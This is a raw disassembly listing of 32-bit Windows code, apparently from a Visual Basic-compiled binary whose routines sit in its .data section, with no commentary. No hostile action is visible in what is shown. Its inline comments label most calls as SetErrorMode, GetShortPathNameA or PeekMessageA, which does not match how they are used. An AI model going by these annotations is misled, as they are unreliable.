		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-24h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	ebx	; GetShortPathNameA
		mov	eax, [edi]
		lea	ecx, [ebp-0E4h]
		lea	edx, [ebp-88h]
		push	ecx
		push	edx
		push	edi
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_4105CA
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_4105CA:				; CODE XREF: .data:004105B6j
		xor	eax, eax
		cmp	word ptr [ebp-0E4h], 0FFFFh
		lea	ecx, [ebp-88h]
		lea	edx, [ebp-84h]
		setz	al
		neg	eax
		mov	[ebp-0ECh], eax
		push	ecx
		lea	eax, [ebp-80h]
		push	edx
		lea	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		push	4
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h
		cmp	word ptr [ebp-0ECh], 0
		jz	loc_4106C5
		mov	edx, [ebp-20h]
		mov	ebx, [edi]
		push	offset sub_4020E8
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401105+3
		push	eax
		mov	eax, [ebp-78h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	edi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_410697
		push	718h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_410697:				; CODE XREF: .data:00410683j
		lea	edx, [ebp-8Ch]
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-84h]
		push	eax
		lea	edx, [ebp-80h]
		push	ecx
		lea	eax, [ebp-7Ch]
		push	edx
		push	eax
		push	5
		call	dword ptr ds:loc_4010D5+3
		mov	ebx, dword ptr ds:loc_401105+3
		add	esp, 18h

loc_4106C5:				; CODE XREF: .data:00410608j
		mov	ecx, [ebp-20h]
		push	offset sub_4020E8
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-34h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	ebx	; GetShortPathNameA
		push	eax
		mov	eax, [ebp-24h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	ebx	; GetShortPathNameA
		mov	ecx, [edi]
		lea	edx, [ebp-0E4h]
		lea	eax, [ebp-88h]
		push	edx
		push	eax
		push	edi
		call	dword ptr [ecx+700h]
		test	eax, eax
		jge	short loc_410735
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_410735:				; CODE XREF: .data:00410721j
		lea	ecx, [ebp-88h]
		xor	ebx, ebx
		cmp	word ptr [ebp-0E4h], 0FFFFh
		lea	edx, [ebp-84h]
		push	ecx
		lea	eax, [ebp-80h]
		push	edx
		lea	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		setz	bl
		push	4
		neg	ebx
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h
		test	bx, bx
		jz	loc_410802
		mov	edx, [ebp-20h]
		mov	ebx, [edi]
		push	offset sub_4020E8
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		mov	eax, [ebp-34h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	edi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_4107E1
		push	718h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_4107E1:				; CODE XREF: .data:004107CDj
		lea	edx, [ebp-88h]
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		lea	edx, [ebp-7Ch]
		push	ecx
		push	edx
		push	4
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h

loc_410802:				; CODE XREF: .data:0041049Dj
					; .data:00410554j ...
		mov	dword ptr [ebp-4], 0
		wait
		push	403CBCh
		jmp	short loc_41085F
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 74h
		dd 8DFFFFFFh, 0FFFF788Dh, 958D50FFh, 0FFFFFF7Ch, 80458D51h
		dd 844D8D52h, 56A5150h,	10D815FFh, 0C4830040h, 708D8D18h
		dd 0FFFFFFFFh, 40111C15h, 50958D00h, 8DFFFFFFh,	0FFFF6085h
		dd 6A5052FFh, 1C15FF02h, 83004010h
		db 0C4h, 0Ch, 0C3h
; ---------------------------------------------------------------------------

loc_41085F:				; CODE XREF: .data:0041080Fj
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-20h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-24h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-2Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-30h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-44h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-48h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-4Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-5Ch]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-6Ch]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-70h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-74h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-78h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 51FF088Bh, 0FC458B08h, 5FEC4D8Bh,	0D89645Eh
		dd 0
		dd 5DE58B5Bh, 900004C2h, 90909090h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 401138h
		xor	edi, edi
		mov	[ebp-4], edi
		mov	esi, [ebp+8]
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+4]
		mov	edx, [ebp+0Ch]
		mov	[ebp-18h], edi
		mov	[ebp-1Ch], edi
		mov	[ebp-20h], edi
		mov	[ebp-24h], edi
		mov	[ebp-28h], edi
		mov	[ebp-2Ch], edi
		mov	[ebp-30h], edi
		mov	[ebp-34h], edi
		mov	[ebp-38h], edi
		mov	[ebp-48h], edi
		mov	[ebp-58h], edi
		mov	[ebp-5Ch], edi
		mov	[ebp-90h], edi
		mov	edi, dword ptr ds:loc_4010CF+1
		lea	ecx, [ebp-1Ch]
		call	edi	; PeekMessageA
		mov	edx, [ebp+10h]
		lea	ecx, [ebp-20h]
		call	edi	; PeekMessageA
		mov	edx, [ebp+14h]
		lea	ecx, [ebp-18h]
		call	edi	; PeekMessageA
		mov	edx, [ebp+18h]
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-20h]
		mov	edi, dword ptr ds:loc_401026+2
		mov	ebx, [esi]
		lea	ecx, [ebp-90h]
		push	ecx
		push	offset sub_4020E8
		push	edx
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	esi
		call	dword ptr [ebx+704h]
		test	eax, eax
		jge	short loc_4109AD
		push	704h
		push	401CC8h
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C

loc_4109AD:				; CODE XREF: .data:00410999j
		xor	ebx, ebx
		lea	ecx, [ebp-2Ch]
		cmp	[ebp-90h], bx
		setz	bl
		neg	ebx
		call	dword ptr ds:loc_401118
		test	bx, bx
		jz	short loc_410A08
		mov	eax, [ebp-20h]
		mov	ebx, [esi]
		push	offset sub_4020E8
		push	eax
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	esi
		call	dword ptr [ebx+710h]
		test	eax, eax
		jge	short loc_4109FF
		push	710h
		push	401CC8h
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C

loc_4109FF:				; CODE XREF: .data:004109EBj
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401118

loc_410A08:				; CODE XREF: .data:004109C7j
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-28h]
		push	ecx
		push	edx
		call	edi	; PeekMessageA
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	edi	; PeekMessageA
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-48h], ecx
		mov	[ebp-40h], eax
		sub	esp, 10h
		mov	[edx], ecx
		mov	ecx, [ebp-44h]
		mov	[edx+4], ecx
		mov	ecx, esp
		push	2
		push	16h
		mov	[edx+8], eax
		mov	eax, [ebp-3Ch]
		push	esi
		mov	[edx+0Ch], eax
		mov	edx, [ebp-78h]
		mov	eax, 3
		mov	[ecx], eax
		mov	eax, 1
		mov	[ecx+4], edx
		mov	[ecx+8], eax
		mov	eax, [ebp-70h]
		mov	[ecx+0Ch], eax
		mov	ecx, [esi]
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-38h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 30h
		lea	ecx, [ebp-5Ch]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010C0
		lea	edx, [ebp-5Ch]
		lea	eax, [ebp-24h]
		push	edx
		push	eax
		call	dword ptr ds:loc_401010
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401118
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-58h]
		lea	edx, [ebp-48h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	eax, [ebp-20h]
		add	esp, 0Ch
		push	offset sub_4020E8
		push	eax
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_4020F4
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	ecx, [ebp-1Ch]
		push	eax
		push	ecx
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-34h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	1
		push	0FFFFFFFFh
		push	220h
		call	dword ptr ds:loc_4010BB+1
		lea	edx, [ebp-34h]
		lea	eax, [ebp-30h]
		push	edx
		lea	ecx, [ebp-2Ch]
		push	eax
		push	ecx
		push	3
		call	dword ptr ds:loc_4010D5+3
		add	esp, 10h
		lea	edx, [ebp-24h]
		push	1
		push	edx
		push	402844h
		call	dword ptr ds:loc_401068
		push	1
		call	dword ptr ds:loc_401058
		push	403FA8h
		jmp	short loc_410B81
; ---------------------------------------------------------------------------
		db 8Dh,	45h, 0CCh
		dd 50D04D8Dh, 51D4558Dh, 0FF036A52h, 4010D815h,	10C48300h
		dd 0FFC84D8Dh, 40111C15h, 0A8458D00h, 50B84D8Dh, 0FF026A51h
		dd 40101C15h, 0CC48300h, 52A4558Dh, 15FF006Ah, 401034h
		db 0C3h
; ---------------------------------------------------------------------------

loc_410B81:				; CODE XREF: .data:00410B3Fj
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-20h]
		call	esi	; SetErrorMode
		lea	eax, [ebp-24h]
		push	eax
		push	0
		call	dword ptr ds:loc_401032+2
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 51FF088Bh, 0FC458B08h, 5FEC4D8Bh,	0D89645Eh
		dd 0
		dd 5DE58B5Bh, 900014C2h, 2 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_401148
		xor	esi, esi
		mov	[ebp-4], esi
		mov	edi, [ebp+8]
		push	edi
		mov	eax, [edi]
		call	dword ptr [eax+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-44h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-2Ch], esi
		mov	[ebp-30h], esi
		mov	[ebp-40h], esi
		mov	[ebp-44h], esi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		mov	[ebp-68h], esi
		mov	[ebp-78h], esi
		mov	[ebp-88h], esi
		mov	[ebp-98h], esi
		mov	[ebp-0A8h], esi
		mov	[ebp-0B8h], esi
		mov	[ebp-0C8h], esi
		mov	[ebp-0D8h], esi
		call	dword ptr ds:loc_4010CF+1
		mov	esi, dword ptr ds:loc_4010F3+1
		lea	edx, [ebp+10h]
		lea	ecx, [ebp-40h]
		call	esi	; SetErrorMode
		lea	edx, [ebp+20h]
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		mov	ecx, [ebp-44h]
		push	offset sub_402860
		push	ecx
		call	dword ptr ds:loc_401026+2
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-44h]
		mov	esi, dword ptr ds:loc_4010A7+1
		mov	eax, 8
		mov	[ebp-0C0h], edx
		mov	[ebp-0A8h], eax
		mov	[ebp-0B8h], eax
		mov	[ebp-0C8h], eax
		mov	[ebp-0D8h], eax
		lea	eax, [ebp-0A8h]
		lea	ecx, [ebp-28h]
		push	eax
		lea	edx, [ebp-58h]
		push	ecx
		push	edx
		mov	dword ptr [ebp-0A0h], 401FE0h
		mov	dword ptr [ebp-0B0h], 402880h
		mov	dword ptr [ebp-0D0h], offset sub_402888
		call	esi	; SetErrorMode
		push	eax
		lea	eax, [ebp-0B8h]
		lea	ecx, [ebp-68h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		push	eax
		lea	edx, [ebp-40h]
		lea	eax, [ebp-78h]
		push	edx
		push	eax
		call	esi	; SetErrorMode
		lea	ecx, [ebp-0C8h]
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		push	edx
		call	esi	; SetErrorMode
		push	eax
		lea	eax, [ebp-0D8h]
		lea	ecx, [ebp-98h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	esi, dword ptr ds:loc_401013+1
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-18h]
		call	ebx	; GetShortPathNameA
		lea	edx, [ebp-98h]
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-78h]
		push	eax
		lea	edx, [ebp-68h]
		push	ecx
		lea	eax, [ebp-58h]
		push	edx
		push	eax
		push	5
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-30h]
		add	esp, 18h
		push	ecx
		push	edx
		call	dword ptr ds:loc_401026+2
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-58h], ecx
		mov	[ebp-50h], eax
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-54h]
		push	16h
		push	edi
		mov	[edx+4], ecx
		mov	ecx, [edi]
		mov	[edx+8], eax
		mov	eax, [ebp-4Ch]
		mov	[edx+0Ch], eax
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-48h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 20h
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-68h]
		lea	edx, [ebp-58h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch
		push	404231h
		jmp	short loc_410E06
; ---------------------------------------------------------------------------
		db 8Dh
		dd 15FFB84Dh, 40111Ch, 0FF68858Dh, 8D8DFFFFh, 0FFFFFF78h
		dd 88558D50h, 98458D51h, 0A84D8D52h, 56A5150h, 101C15FFh
		dd 0C4830040h
		db 18h,	0C3h
; ---------------------------------------------------------------------------

loc_410E06:				; CODE XREF: .data:00410DD5j
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-2Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-30h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-40h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-44h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 28C25Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		mov	eax, 0A0h
		call	sub_40DDF0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-14h], 401158h
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		mov	edx, [ebp+8]
		push	edx
		call	dword ptr [ecx+4]
		mov	dword ptr [ebp-4], 1
		mov	dword ptr [ebp-4], 2
		mov	dword ptr [ebp-40h], 80020004h
		mov	dword ptr [ebp-48h], 0Ah
		lea	eax, [ebp-48h]
		push	eax
		call	dword ptr ds:loc_4010C3+1
		mov	[ebp-80h], ax
		mov	dword ptr [ebp-88h], 2
		lea	edx, [ebp-88h]
		lea	ecx, [ebp-34h]
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_40100C
		mov	dword ptr [ebp-4], 3
		push	0FFFFFFFFh
		call	dword ptr ds:loc_401039+3
		mov	dword ptr [ebp-4], 4
		mov	ecx, [ebp+0Ch]
		mov	edx, [ecx]
		push	edx
		lea	eax, [ebp-34h]
		push	eax
		call	dword ptr ds:loc_4010A9+3
		push	eax
		push	0FFFFFFFFh
		push	1
		call	dword ptr ds:loc_4010BB+1
		mov	dword ptr [ebp-4], 5
		call	dword ptr ds:loc_4010E4
		push	eax
		lea	ecx, [ebp-38h]
		push	ecx
		call	dword ptr ds:loc_401038
		mov	[ebp-0A0h], eax
		lea	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-0A0h]
		mov	ecx, [eax]
		mov	edx, [ebp-0A0h]
		push	edx
		call	dword ptr [ecx+1Ch]
		fnclex
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jge	short loc_410F82
		push	1Ch
		push	402898h
		mov	eax, [ebp-0A0h]
		push	eax
		mov	ecx, [ebp-0A4h]
		push	ecx
		call	dword ptr ds:loc_40102C
		mov	[ebp-0BCh], eax
		jmp	short loc_410F8C
; ---------------------------------------------------------------------------

loc_410F82:				; CODE XREF: .data:00410F5Dj
		mov	dword ptr [ebp-0BCh], 0

loc_410F8C:				; CODE XREF: .data:00410F80j
		mov	dword ptr [ebp-50h], 0
		mov	dword ptr [ebp-58h], 0Bh
		mov	dword ptr [ebp-40h], 0FFFFFFFFh
		mov	dword ptr [ebp-48h], 0Bh
		xor	edx, edx
		cmp	dword ptr [ebp-9Ch], 0
		setz	dl
		neg	edx
		mov	[ebp-70h], dx
		mov	dword ptr [ebp-78h], 0Bh
		lea	eax, [ebp-58h]
		push	eax
		lea	ecx, [ebp-48h]
		push	ecx
		lea	edx, [ebp-78h]
		push	edx
		lea	eax, [ebp-68h]
		push	eax
		call	dword ptr ds:loc_4010CF+5
		lea	ecx, [ebp-68h]
		push	ecx
		call	dword ptr ds:loc_4010A9+3
		mov	[ebp-24h], ax
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		lea	edx, [ebp-68h]
		push	edx
		lea	eax, [ebp-58h]
		push	eax
		lea	ecx, [ebp-48h]
		push	ecx
		lea	edx, [ebp-78h]
		push	edx
		push	4
		call	dword ptr ds:loc_401019+3
		add	esp, 14h
		mov	dword ptr [ebp-4], 6
		lea	eax, [ebp-34h]
		push	eax
		call	dword ptr ds:loc_4010A9+3
		push	eax
		call	dword ptr ds:loc_401058
		mov	dword ptr [ebp-4], 7
		call	dword ptr ds:loc_4010E4
		push	eax
		lea	ecx, [ebp-38h]
		push	ecx
		call	dword ptr ds:loc_401038
		mov	[ebp-0A0h], eax
		push	0
		mov	edx, [ebp-0A0h]
		mov	eax, [edx]
		mov	ecx, [ebp-0A0h]
		push	ecx
		call	dword ptr [eax+20h]
		fnclex
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jge	short loc_411087
		push	20h
		push	402898h
		mov	edx, [ebp-0A0h]
		push	edx
		mov	eax, [ebp-0A4h]
		push	eax
		call	dword ptr ds:loc_40102C
		mov	[ebp-0C0h], eax
		jmp	short loc_411091
; ---------------------------------------------------------------------------

loc_411087:				; CODE XREF: .data:00411062j
		mov	dword ptr [ebp-0C0h], 0

loc_411091:				; CODE XREF: .data:00411085j
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		push	4044CCh
		jmp	short loc_4110C2
; ---------------------------------------------------------------------------
		db 8Dh,	4Dh, 0C8h
		dd 111C15FFh, 4D8D0040h, 558D5198h, 458D52A8h, 36A50B8h
		dd 101C15FFh, 0C4830040h
		db 10h,	0C3h
; ---------------------------------------------------------------------------

loc_4110C2:				; CODE XREF: .data:0041109Fj
		lea	ecx, [ebp-34h]
		call	dword ptr ds:loc_40100C
		retn
; ---------------------------------------------------------------------------
		dd 8B084D8Bh, 8458B11h,	852FF50h, 66104D8Bh, 66DC558Bh
		dd 458B1189h, 0E04D8BF0h, 0D8964h, 5F000000h, 0E58B5B5Eh
		dd 0CC25Dh, 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_401198
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-1Ch]
		mov	[ebp-18h], esi
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	[ebp-30h], esi
		call	dword ptr ds:loc_4010CF+1
		lea	eax, [ebp-30h]
		lea	edx, [ebp-1Ch]
		push	10h
		push	eax
		mov	[ebp-28h], edx
		mov	dword ptr [ebp-30h], 4008h
		call	dword ptr ds:loc_4010AD+3
		mov	edx, eax
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-18h]
		push	ecx
		push	4028ACh
		call	dword ptr ds:loc_40105B+5
		neg	eax
		sbb	eax, eax
		mov	[ebp-20h], eax
		push	offset sub_40459F
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B500845h, 852FF10h,	6610458Bh, 66E04D8Bh, 458B0889h
		dd 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h, 0CC25Dh, 2 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 4011A8h
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	[edx], esi
		mov	ecx, [eax]
		push	ecx
		mov	[ebp-30h], esi
		mov	[ebp-40h], esi
		mov	[ebp-50h], esi
		call	dword ptr ds:loc_401015+3
		mov	ecx, eax
		call	dword ptr ds:loc_401068+4
		mov	edi, dword ptr ds:loc_401105+3
		mov	ebx, dword ptr ds:loc_401013+1
		mov	esi, eax

loc_41123D:				; CODE XREF: .data:004112B4j
		test	si, si
		jle	loc_41130C
		mov	edx, [ebp+0Ch]
		lea	eax, [ebp-30h]
		movsx	ecx, si
		mov	[ebp-48h], edx
		push	eax
		lea	edx, [ebp-50h]
		push	ecx
		lea	eax, [ebp-40h]
		push	edx
		push	eax
		mov	dword ptr [ebp-28h], 1
		mov	dword ptr [ebp-30h], 2
		mov	dword ptr [ebp-50h], 4008h
		call	dword ptr ds:loc_40104D+3
		lea	ecx, [ebp-40h]
		push	ecx
		call	ebx	; GetShortPathNameA
		mov	edx, eax
		lea	ecx, [ebp-1Ch]
		call	edi	; PeekMessageA
		lea	edx, [ebp-40h]
		lea	eax, [ebp-30h]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-1Ch]
		add	esp, 0Ch
		push	ecx
		push	offset sub_4020F4
		call	dword ptr ds:loc_40105B+5
		test	eax, eax
		jz	short loc_4112B6
		sub	si, 1
		jo	loc_411367
		jmp	short loc_41123D
; ---------------------------------------------------------------------------

loc_4112B6:				; CODE XREF: .data:004112A8j
		mov	edx, [ebp+0Ch]
		lea	eax, [ebp-30h]
		mov	[ebp-48h], edx
		push	eax
		lea	ecx, [ebp-50h]
		sub	si, 1
		push	1
		lea	edx, [ebp-40h]
		push	ecx
		push	edx
		jo	loc_411367
		mov	[ebp-28h], si
		mov	dword ptr [ebp-30h], 2
		mov	dword ptr [ebp-50h], 4008h
		call	dword ptr ds:loc_40104D+3
		lea	eax, [ebp-40h]
		push	eax
		call	ebx	; GetShortPathNameA
		mov	edx, eax
		lea	ecx, [ebp-20h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-40h]
		lea	edx, [ebp-30h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch

loc_41130C:				; CODE XREF: .data:00411240j
		push	offset sub_404740
		jmp	short loc_411336
; ---------------------------------------------------------------------------
		db 0F6h
		dd 7404FC45h, 0E04D8D09h, 111815FFh, 458D0040h,	0D04D8DC0h
		dd 26A5150h, 101C15FFh,	0C4830040h
		db 0Ch,	0C3h
; ---------------------------------------------------------------------------

loc_411336:				; CODE XREF: .data:00411311j
		lea	ecx, [ebp-1Ch]
		call	dword ptr ds:loc_401118
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 52FF108Bh, 10458B08h, 89E04D8Bh, 0FC458B08h
		dd 5FEC4D8Bh, 0D89645Eh, 0
		dd 5DE58B5Bh
		db 0C2h, 0Ch, 0
; ---------------------------------------------------------------------------

loc_411367:				; CODE XREF: .data:004112AEj
					; .data:004112CEj
		call	dword ptr ds:loc_4010B7+1
		nop
		nop
		nop
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
